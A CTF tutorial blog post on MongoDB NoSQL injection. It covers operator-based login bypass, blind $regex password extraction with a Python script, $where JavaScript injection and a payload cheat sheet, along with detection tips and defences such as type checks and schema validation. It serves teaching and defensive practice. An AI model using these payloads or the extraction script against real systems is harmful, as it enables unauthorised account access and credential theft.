June 20, 2026

NoSQL Injection for CTF: Bypassing Login Without SQL

NoSQL injection: bypass a MongoDB login with $ne, $gt, and $regex operators, blind extraction one char at a time, $where eval, plus a payload cheat sheet.

The one payload that bypasses most logins

You know SQL injection. You typed admin' OR '1'='1 into a login form and watched the auth check fold. Then you hit a backend that takes a JSON body, the quote tricks do nothing, and the app does not look like it touches a relational database at all. It is almost certainly MongoDB, and the bypass is not a string trick. It is an operator trick.

Here is the move. Where the app expects a username and password as strings, send objects instead. The $ne(not equal) operator turns the password check into "any password that is not null," which every stored password satisfies:

curl -s http://target/login \
-H 'Content-Type: application/json' \
-d '{"username": "admin", "password": {"$ne": null}}'

If you do not even know a valid username, make both fields operators. This logs you in as the first user the query returns, which is very often the admin account created first:

curl -s http://target/login \
-H 'Content-Type: application/json' \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}'
Key insight: SQL injection breaks out of a string into query syntax. NoSQL injection rarely needs to break out of anything. You inject a query operator where the app trusted you to send a plain value, and the database does exactly what you asked.

That is the headline. The rest of this post explains why it works, how to send it when the endpoint takes form-encoded data instead of JSON, how to extract real credentials one character at a time when a blind login is all you have, and what to do when the app runs your input through JavaScript.

How does a MongoDB query differ from SQL?

A SQL login concatenates or binds your input into a text query. The classic vulnerable version looks like this:

SELECT * FROM users
WHERE username = 'admin' AND password = 'hunter2';

MongoDB has no query string. A query is a document, a tree of fields and values. The same login in a Node.js app looks like this:

db.users.findOne({
username: req.body.username,
password: req.body.password
});

The vulnerability is that req.body.username is whatever the request body deserializes to. If the body is JSON and you send a string, you get a string. If you send an object like { $ne: null }, MongoDB receives that object as the match condition for the username field. There was never a quote to escape, because there was never a string to break out of. You are not injecting into a query language. You are handing the database a richer query than the developer intended.

In SQL injection you smuggle syntax past a parser. In NoSQL injection you supply structure the parser was happy to accept all along.

MongoDB's query operators are the whole attack surface. The ones that matter for an auth bypass are documented in the MongoDB query operator reference:

OperatorMeaningWhy it bypasses auth
$nenot equal{ $ne: null } matches any stored value
$gt / $gtegreater than{ $gt: "" } matches any non-empty string
$regexpattern match{ $regex: "^a" } leaks values one prefix at a time
$inmatches any in listEnumerate candidate usernames in one request
$whereJavaScript predicateArbitrary JS evaluated server-side per document

Why does a $ne object log me in?

Walk the query the server builds when you send the bypass payload. With a string username and an operator password, the document MongoDB evaluates becomes:

db.users.findOne({
username: "admin",
password: { $ne: null }
});

Read it in English. Find a document where the username is exactly admin and the password is anything that is not null. The admin row has a password, so it is not null, so the row matches. findOne returns it, the app sees a user object back, and the login succeeds. You never knew the password and never needed to.

{ $gt: "" } works the same way for string fields: every stored password sorts after the empty string. { $ne: 1 }, { $ne: "x" }, and friends all express "match something other than this specific value," which is true for almost any real stored value. The point is not the exact operator. The point is that you replaced a value with a condition.

Note: This works because the application passed your deserialized input straight into the query object with no check that each field is a string. The fix and the vulnerability are the same line: whether the code asserts typeof password === "string" before building the query.

The same idea reaches past login. Anywhere a value from the request lands in a query filter (a search box, a product lookup by id, a "reset password for this email" flow) the operator injection applies. An $ne on an account-lookup endpoint can return the first account in the collection. An $gt on a price filter can return rows the UI never meant to show.

What if the form is not JSON? Bracketed query params

Plenty of vulnerable apps do not take JSON. They take a normal HTML form, application/x-www-form-urlencoded, and you cannot put a JSON object in a flat key=value body directly. This is where the bracket notation comes in. Body parsers such as Express's qs(and PHP's array parsing) turn bracketed keys back into nested objects. So username[$ne]=x deserializes server-side into { username: { $ne: "x" } }, the exact object you wanted.

The same bypass, expressed as form-encoded brackets:

curl -s http://target/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username=admin' \
--data-urlencode 'password[$ne]=x'

And the both-fields version when you do not know a username:

curl -s http://target/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'username[$ne]=x&password[$ne]=x'

It works in the query string too, if the endpoint reads parameters from the URL. The bracket is the structure; the parser rebuilds the object:

curl -s 'http://target/login?username[$ne]=x&password[$ne]=x'
# URL-encoded, if the raw brackets get rejected upstream:
curl -s 'http://target/login?username%5B%24ne%5D=x&password%5B%24ne%5D=x'
Tip: When you are unsure how the body is parsed, try both encodings. Send the JSON object form first because it is the most direct. If the server returns a 400 or treats your operator as a literal string, switch the Content-Type to form-encoded and use the bracket form. One of the two usually maps onto whatever the framework does with the body.

How do I extract the real password with $regex?

Bypassing login gets you in, but sometimes you need the actual stored value: a password to reuse elsewhere, an API token, the flag stored in a field. When the login leaks one bit (it either succeeds or fails) you can turn that single bit into a full string extraction with $regex. This is the NoSQL twin of blind boolean SQL injection.

The idea: anchor a regular expression to the start of the field and guess one character at a time. If the login succeeds, the prefix matched. If it fails, try the next character.

# Does admin's password start with 'a'? Login succeeds => yes.
curl -s http://target/login \
-H 'Content-Type: application/json' \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
# Confirmed first char is 's'. Now probe the second:
-d '{"username": "admin", "password": {"$regex": "^se"}}'

You do not do this by hand. A short Python loop walks the character set, keeps any prefix that flips the success signal, and rebuilds the secret:

import requests, string
URL = 'http://target/login'
charset = string.ascii_letters + string.digits + '_{}!@#$%-'
found = ''
while True:
for c in charset:
# escape regex metacharacters in the known-good prefix
prefix = ''.join('\\' + ch if ch in '.*+?^$()[]{}|\\' else ch
for ch in found + c)
body = {'username': 'admin',
'password': {'$regex': '^' + prefix}}
r = requests.post(URL, json=body)
if 'Welcome' in r.text: # the success signal for this app
found += c
print('password so far:', found)
break
else:
break # no char extended the match; done
print('recovered:', found)

Two practical notes. Anchor with ^ so each probe tests a known prefix, and add $ at the end once you think you have the whole value to confirm there is nothing after it. And escape regex metacharacters in your known-good prefix, otherwise a literal . or + in the secret will match more than it should and corrupt your extraction.

Warning: The success signal is everything in a blind attack. It might be a redirect, a Set-Cookie header, a different status code, or a response-length difference rather than a word in the body. Capture one known-good and one known-bad response first, diff them, and lock onto the most reliable difference before you start the loop.

When the app runs my input as JavaScript: $where and eval

MongoDB can evaluate JavaScript server-side. The $where operator takes a function or a string of JS and runs it once per document, matching the document when the expression returns true. Some apps also build queries by concatenating user input into a $where string, which is the most dangerous shape of NoSQL injection because it is genuine code execution inside the query engine.

If a search or filter parameter lands in a $where string unsanitized, a payload like this makes the predicate always true and dumps every document:

# Vulnerable server code (illustrative):
db.users.find({ $where: "this.name == '" + req.query.name + "'" });
# Inject a name that closes the string and forces a true predicate:
curl -s "http://target/search?name=x'%20||%20'1'=='1"
# The query the server now runs:
# this.name == 'x' || '1'=='1' -> always true

Because it is real JavaScript, the same injection point can leak data through a boolean or timing side channel even when nothing is reflected. A sleep built from a busy loop turns a true/false answer into a slow/fast answer:

# Boolean: return true only when the first char of password is 's'
name=x' || this.password[0]=='s' || '1'=='2
# Time-based: spin if the condition holds, so a slow reply means true
name=x' || (this.password[0]=='s' && function(){var t=Date.now();while(Date.now()-t<3000){}return true;}()) || '1'=='2
Note: Do not assume server-side JavaScript is off. On a self-hosted mongod the security.javascriptEnabled setting defaults to true, so $where, $function, and mapReduce run out of the box. It is restricted on MongoDB Atlas and commonly disabled or discouraged for performance, and $where is slow either way, but plenty of real targets leave it enabled. When it is present, treat it as code execution, not just data access.

How do I know the backend is NoSQL?

You usually cannot see the stack, so you infer it. Signals that point at MongoDB or another document store, roughly in order of confidence:

  • The login or API endpoint accepts a application/json body. Relational apps can do this too, but a JSON-first API is a hint.
  • Sending an object where a string is expected changes behavior. { "$ne": null } in a field either logs you in, errors differently, or is silently accepted. SQL backends treat that as a malformed string and behave the same as any other wrong value.
  • Error messages or stack traces mention MongoError, mongoose, BSON, CastError, or a $-prefixed operator. Send a deliberately malformed operator like { "$gt": [] } and watch for a typed error.
  • Injecting a SQL-style payload (' OR 1=1--) does nothing, while an operator payload does. That contrast is itself a fingerprint.
  • Response headers or cookies reference Node frameworks (Express, connect.sid) or the page is a single-page app talking to a JSON API. A Node plus Mongo pairing is extremely common.
Tip: The cheapest probe is a single character. In a parameter, append ' then" then a bracketed operator and compare the three responses. If quotes do nothing but field[$ne]=x changes the answer, you are looking at NoSQL, not SQL.

Tooling: Burp and NoSQLMap

You can do everything in this post with curl and a Python loop, and for a CTF that is often the fastest path because you control every byte. Two tools speed up the parts that get repetitive.

Burp Suite. Catch the login request in the proxy, send it to Repeater, and edit the body by hand. Repeater is ideal for the detection phase: flip a value to an operator object, resend, and read the response side by side with the original. For blind$regex extraction, Intruder can iterate a character set through a marked position, though a custom script is usually less fiddly than configuring the payload markers. The PortSwigger Web Security Academy NoSQL injection labs are the best hands-on practice for the detection and exploitation workflow.

NoSQLMap. The NoSQLMap project automates operator-injection detection and blind extraction against MongoDB, in the spirit of what sqlmap does for SQL. It is useful for confirming a finding and for grinding through a long blind extraction, but for a single CTF login the hand-rolled curl and Python approach is faster to aim and easier to debug.

Note: Reach for automation after you understand the bug by hand, not before. The whole attack is three or four ideas; a tool that finds it for you teaches you none of them, and CTF variants frequently need a tweak the tool will not make on its own.

How do you actually stop this?

NoSQL injection is an input-typing failure, so the defenses live at the boundary where request data becomes a query:

  • Assert the type. Before building a query, require that username and password are strings. A single typeof x !== "string" check kills the operator-injection bypass outright, because { $ne: null } is an object, not a string.
  • Validate against a schema. A schema validator (Mongoose schemas, Zod, Joi, JSON Schema) that declares each field as a typed scalar rejects nested operator objects before they reach the database. This is the structural version of the type check.
  • Reject or sanitize $ keys. Middleware that strips keys beginning with $ or containing . from request bodies removes the operators entirely. Libraries exist for exactly this in the Express ecosystem.
  • Never use $where with user input. Keep server-side JavaScript disabled and avoid $where and mapReduce on attacker-controlled values. There is almost always a structured operator that does the job without an eval.
  • Hash and compare passwords in application code, not by matching the password field in the query. If the query only looks up the user by username and the password is verified with a constant-time hash compare afterward, an operator on the password field has nothing to match against.

The framing OWASP uses for the whole class is worth keeping in mind: it is one more case of untrusted input reaching an interpreter. The OWASP injection guidance treats SQL, NoSQL, command, and LDAP injection as the same root cause with different syntax. Type the input, validate the structure, and the operator trick has nowhere to land.

Practice on picoCTF

picoCTF has a dedicated challenge for exactly this technique. Work through it with the payloads above rather than copying a solution, because the value here is recognizing the bug shape, not memorizing one body:

  • picoCTF 2024 No Sql Injection hands you a login backed by MongoDB. The intended path is operator injection to bypass the check, then pulling the stored data out of the document the query returns. Try the JSON $ne bypass first, then the blind $regex extraction if you need the literal value.

For the wider web toolkit around it, the SQL Injection for CTF post is the relational sibling worth reading back to back with this one (same instinct, different interpreter). The cookies and JWT post covers what to do after you are logged in, and web recon covers finding the JSON endpoint in the first place. The Burp Suite for CTF guide goes deep on Repeater and Intruder, and web challenges and real-world bug patterns puts NoSQL injection next to the other auth-bypass shapes you will meet.

Quick reference: the payload cheat sheet

Auth bypass (JSON body)

{"username": "admin", "password": {"$ne": null}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$in": ["a","b","c"]}}

Auth bypass (form-encoded / query string)

username=admin&password[$ne]=x
username[$ne]=x&password[$ne]=x
username=admin&password[$gt]=
username%5B%24ne%5D=x&password%5B%24ne%5D=x # URL-encoded brackets

Blind extraction (one char at a time)

{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^se"}}
{"username": "admin", "password": {"$regex": "^secret$"}} # confirm end
username=admin&password[$regex]=^a

$where / JS injection (when eval is on)

x' || '1'=='1 # always-true predicate
x' || this.password[0]=='s' || '1'=='2 # boolean oracle
x' || sleep(3000) || '1'=='2 # time-based oracle (if available)

Detection one-liners

# JSON object where a string is expected:
curl -s t/login -H 'Content-Type: application/json' -d '{"username":{"$ne":null},"password":{"$ne":null}}'
# Bracket form, to confirm the parser nests it:
curl -s t/login --data 'username[$ne]=x&password[$ne]=x'

When the quotes do nothing, stop sending strings and start sending structure. A relational database wants you to escape a quote; a document database just wants a richer object, and it will hand back the row the moment you ask for "not equal to null."